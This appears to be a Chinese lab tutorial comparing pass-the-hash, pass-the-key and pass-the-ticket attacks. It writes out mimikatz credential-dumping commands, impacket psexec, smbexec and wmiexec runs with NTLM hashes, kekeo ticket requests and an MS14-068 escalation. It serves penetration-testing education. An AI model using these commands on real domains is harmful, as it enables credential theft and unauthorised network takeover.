您现在的位置是:首页 > 正文

哈希传递PTH、密钥传递PTT、票据传递PTK的实现和比较

2024-01-30 21:49:42阅读 0

Mimikatz在本文章中会用到的命令

privilege::debug			#提升权限
sekurlsa::logonpasswords	#抓取密码信息
sekurlsa::msv				#抓取LM、NTLM、值
sekurlsa::ekeys				#抓取aes值

哈希传递攻击(PTH)

简介:

哈希传递(Pass The Hash)攻击,该方法通过找到与账户相关的密码散列值来进行攻击,在Windows Server 2012 R2之前使用到的密码散列值是LM、NTLM,在Windows Server 2012 R2 及其版本之后使用到的密码散列值是NTLM Hash。

在域环境中,用户登录计算机时使用的大概都是域账号,并且许多计算机在安装时会使用相同的本地管理员账户密码,因此如果计算机的本地管理员账户和密码相同的话,攻击者就能使用哈希传递攻击的方法登录内网中的其他计算机。

条件:

有管理员的密码散列值,并且目标机器开放445端口(SMB服务)。

进行攻击:

1.使用mimikatz进行哈希传递攻击:

使用mimikatz获得散列值,还得到了域名、域用户名,除此之外还需要域内主机的ip地址

sekurlsa::msv

image-20220605113851010

在mimikatz中运行以下命令

sekurlsa::pth /user:域用户名 /domain:域名 /ntlm:域用户名的NTLM值
sekurlsa::pth /user:administrator /domain:god /ntlm:8c535a2d84c3b21059d667639bb89db5

运行完成之后会自己跳一个cmd窗口,然后在跳出来的cmd窗口中连接任意一个域内ip地址进行连接

net use \\192.168.52.138	#建立IPC连接
dir \\192.168.52.138\c$		#查看连接域内ip的c盘文件夹

image-20220605113631194

使用mimikazt有一个缺点就是需要建立IPC连接,除了使用mimikatz进行哈希传递攻击外,我们还可以使用其他工具进行哈希传递攻击,下面演示impacket工具包中的两种工具,注意,这个工具包里面的工具可以使用哈希进行利用的,如果使用的是微软官方的Pstools工具包的工具是只能使用明文进行利用的。impacket工具包下载地址:https://github.com/SecureAuthCorp/impacket

2.使用psexec进行哈希传递攻击:

使用psexec进行哈希传递攻击所需要的参数和mimikatz中进行哈希传递攻击的参数一样,都是域名、域用户名、域内主机的ip地址

psexec.exe -hashes :NTLM值 域名/域用户@域内ip地址
psexec.exe -hashes :8c535a2d84c3b21059d667639bb89db5 god/administrator@192.168.52.138

image-20220605115944937

该方式进行哈希传递攻击的优点是不需要建立IPC连接。

3.使用smbexec进行哈希传递攻击:
smbexec.exe -hashes :NTLM值 域名/域用户@域内ip地址
smbexec.exe -hashes :8c535a2d84c3b21059d667639bb89db5 god/administrator@192.168.52.138

image-20220605123900521

以上三种哈希传递攻击都是使用到445端口(SMB服务)而没有用到135端口,接下来演示445端口配合135端口进行哈希传递攻击

4.使用wmiexec进行哈希传递攻击:

缺点是一次只能执行一次命令,而上面三种都是可以执行很多次命令。

wmiexec -hashes :8c535a2d84c3b21059d667639bb89db5 god/administrator@192.168.52.138 "ipconfig"

image-20220605124707683

进行哈希传递攻击的时候需要注意以下两点:

  • dir命令后面要使用主机名,不能用IP,否则报错
  • 使用mimikatz进行哈希传递要具有本地管理员权限

密钥传递攻击(PTK)

简介:

密钥传递攻击只能在打了kb2871997

条件:

打了kb2871997补丁才能任意用户都可以连接,采用 aes256 连接。

进行攻击:

mimikatz获取aes值

sekurlsa::ekeys

image-20220605125946693

sekurlsa::pth /user:域用户名 /domain:域名 /aes256:aes256值 hash
sekurlsa::pth /user:administrator /domain:god /aes256:bd25b5ae78c10e3fcda9693cd31027d70383063a1d8c2b835c6fa1c416b79669

image-20220605131823582在实际上,PTK传递比PTH传递用的少,因为PTK传递需要一个前提条件,需要域控安装KB2871997补丁的Win7/2008r2/8/2012(2019尝试也可以,并没有装补丁)。

票据传递攻击(PTT)

简介:

不需要管理员权限就可以获得远程系统的访问权限,Pass The Ticket 票据传递(PTT攻击)实现「未授权」访问。

条件:

进行攻击:

1.使用mimikatz进行票据传递攻击:

因为当前主机肯定之前与其他主机连接过,所以本地应该生成了一些票据,我们可以导出这些票据,然后再导入票据,利用。该方法类似于cookie欺骗。

缺点:票据是有有效期的,一般为10小时,所以如果当前主机10h之内连接过域控的话,我们可以利用该票据,但是如果超过10h,就没法利用了。

导入票据

sekurlsa::tickets /export

image-20220605143255712

删除票据,排除干扰

klist purge

image-20220605143620670

导入票据

kerberos::ptt 票据文件
kerberos::pttC:\Users\Administrator\Desktop\mimikatz_trunk\x64\[0;3e7]-2-0-60a00000-STU1$@krbtgt-GOD.ORG.kirbi

image-20220605144030499

进行利用

dir \\192.168.52.138\c$

image-20220605144933403

下面的两种方式由于靶机发生故障了,所以借用网上的图片。

2.利用工具kekeo

生成票据,导入票据

kekeo "tgt::ask /user:mary /domain:god.org /ntlm:518b98ad4178a53695dc997aa02d455c" //生成票据
kerberos::ptt TGT_mary@GOD.ORG_krbtgt~god.org@GOD.ORG.kirbi //导入票据

img

查看凭证 klist

img

利用

dir \192.168.3.21\c$
dir \\OWA2010CN-God.god.org\c$
3.利用漏洞ms14-068

whoami/user 查看当前sid

img

我们知道mary就是域内一个普通用户

img

清空当前机器中所有凭证,如果有域成员凭证会影响凭证伪造

klist //查看凭证列表
klist purge //清空当前机器中所有凭证,如果有域成员凭证会影响凭证伪造

img

利用MS14-068生成TGT数据

ms14-068.exe -u 域成员名@域名 -s sid -d 域控制器地址 -p 域成员密码
MS14-068.exe -u mary@god.org -s S-1-5-21-1218902331-2157346161-1782232778-1124 -d 192.168.3.21 -p admin!@#45

img

将票据注入到内存中

./mimikatz.exe
kerberos::ptc TGT_mary@god.org.ccache
exit

img

查看凭证列表。klist 查看一下,注入成功。

img

利用

dir \192.168.3.21\c$
dir \\OWA2010CN-God.god.org\c$

img

总结

PTH和PTK需要管理员权限,其中PTK要求更为苛刻,PTK需要打了kb2871997补丁才能够使用,因此一般情况下不考虑使用PTK。而PTT利用漏洞MS14-068可以直接从普通域成员提权到域管理员权限。因此一般应该靠考虑使用MS14-068进行横向移动。

网站文章

  • 配置上传文件大小限制

    "upload_max_filesize",去掉本行最前面的分号,并设置为200M。 "post_max_size",设置为200M。

    2024-01-30 21:49:15
  • 欢迎Fork我们的开源云手机项目--OPENVMI(Virtual Mobile Infrastructure)(VMI)

    欢迎Fork我们的开源云手机项目--OPENVMI(Virtual Mobile Infrastructure)(VMI)

    基于ARM+Linux体系构建的VMI(Virtual Mobile Infrastructure)云平台

    2024-01-30 21:48:38
  • html选择器优先值,CSS属性选择器高级用法及选择器优先级问题

    CSS选择器之属性选择器1:[attr] 存在此属性即可2:[attr = 'attr_value'] 属性值为给定值即可3:[attr ^= 'attr_value'] attr属性键以container开头 即便是字符串匹配div[data-type^='container']{background-color:#000;}开头存在container匹配成功开头存在contai...

    2024-01-30 21:48:30
  • 存储:F2FS文件系统读写性能良好

    存储:F2FS文件系统读写性能良好

    from : http://mobile.zol.com.cn/396/3960365.html

    2024-01-30 21:48:22
  • Linux 内核编译 LOCALVERSION 配置(分析内核版本号自动添加的"+"号)

    Linux 内核编译 LOCALVERSION 配置(分析内核版本号自动添加的"+"号)

    1 问题发现编译主线kernel版本的时候发现, 的内核版本编译成功后生成的版本号变成了"x.y.z+", 为什么后面会多一个加号呢?刚开始考虑是不是CONFIG...

    2024-01-30 21:47:51
  • BUUCTF靶场练习——第三周

    BUUCTF靶场练习——第三周

    整理了buuctf靶场第九第十道web题目的做题笔记并整理了涉及到的部分知识和扩展

    2024-01-30 21:47:43
  • 集群,分布式,集群的理解与区别

    集群,分布式,集群的理解与区别

    1.集群:同一个业务,部署在多个服务器上。 2.分布式:将一个大的系统划分为多个业务模块,业务模块分别部署到不同的机器上,各个业务模块之间通过接口进行数据交互。 3.微服务:是一种架构风格,一个大型复杂软件应用由一个或多个微服务组成。系统中的各个微服务可被独立部署,各个微服务之间是松耦合的。每个微服务仅关注于完成一件任务并很好地完成该任务。在所有情况下,每个任务代表着一个小的业...

    2024-01-30 21:47:19
  • 几个非常有用的iOS学习博客链接

    几个非常有用的iOS学习博客链接请仔细阅读相关链接下的其他博客的文章:http://blog.csdn.net/sanpintian/article/details/7402853http://blog.csdn.net/sanpintian/article/details/8139878http://blog.csdn.net/san...

    2024-01-30 21:46:51
  • 移动端吸顶效果(小程序,h5)

    移动端吸顶效果(小程序,h5)

    前言:实例源码:#sticky-nav { position : sticky ; top : 100px ;}

    2024-01-30 21:46:44
  • 商业数据分析从入门到入职(1)商业数据分析综述

    商业数据分析从入门到入职(1)商业数据分析综述

    分析一个问题需要分析问题的能力;商业数据分析的从业要求包括基础知识、工具、业务能力和软技能;在数据获取、数据处理等5个阶段有各自所需要的技能;评价一个事务需要从多个角度衡量,基本的分析流程包括理解商业...

    2024-01-30 21:46:36